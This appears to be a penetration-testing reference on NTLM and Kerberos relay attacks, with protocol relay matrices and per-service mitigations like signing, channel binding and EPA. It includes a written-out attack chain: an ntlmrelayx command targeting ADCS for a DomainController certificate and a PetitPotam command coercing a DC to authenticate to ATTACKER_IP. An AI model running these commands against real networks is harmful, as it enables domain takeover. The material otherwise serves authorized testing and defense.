
Technical Reference to multiple relay techniques
A comprehensive reference for NTLM relay attacks during authorized internal penetration tests. Covers authentication fundamentals, coercion techniques, per-protocol relay targets, tooling, advanced chaining, and defensive mitigations.
Applies to classic NTLM relay on modern (post-CVE-2019-1040) patched environments. For the more detailed cross-protocol breakdown, see Cross-Protocol Relay.
* Target must not require SMB signing † SMB-sourced NTLM includes signing flags in NEGOTIATE, which LDAP and ADCS HTTP enforce — causing the relayed session to require a signing key the attacker does not have. This is why WebDAV/HTTP-sourced auth is preferred for LDAP and ADCS relay.
The Cymulate / CVE-2026-20929 primitive (Jan 2026) — attacker poisons DNS with a CNAME, Windows canonicalizes the SPN, client requests a TGS for the attacker's chosen target, AP-REQ is relayed. Because many services accept tickets based only on the DNS portion of the SPN, the source SPN class matters far less than in NTLM relay — what gates the attack is whether the target service enforces its own anti-relay control.
All rows assume attacker has network position to poison DNS (DHCPv6 via mitm6, ARP, rogue DHCPv4). Full technique: Kerberos Relay via DNS CNAME Abuse.
# Classic example: coerce DC, relay to ADCS for a DC certificate
ntlmrelayx.py -t http://ca.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
python3 PetitPotam.py ATTACKER_IP DC_IP
| Source Auth | → SMB | → LDAP | → MSSQL | → HTTP | → ADCS | → SOCKS |
|---|
| SMB | ✅* | ❌† | ✅ | ✅ | ❌† | ✅ |
| HTTP | ✅* | ✅ | ✅ | ✅ | ✅ | ✅ |
| WebDAV | ✅* | ✅ | ✅ | ✅ | ✅ | ✅ |
| MSSQL | ✅* | ✅ | ✅ | ✅ | ✅ | ✅ |
| Target service | Relayable unless... | Patch / status |
|---|
| SMB | SMB signing is required on the target | — |
| LDAP | LDAP signing is required | — |
| LDAPS | LdapEnforceChannelBinding = 2 (Always) | — |
| HTTP / IIS | HTTP CBT enforced (HTTP.sys token checking = Require) | CVE-2026-20929 backports HTTP.sys CBT |
ADCS /certsrv/ | Extended Protection = Require on the vdir | HTTP.sys CBT via CVE-2026-20929 applies |
| MSSQL | Extended Protection enabled | — |
| Exchange (OWA/ECP/…) | EPA on all virtual directories | — |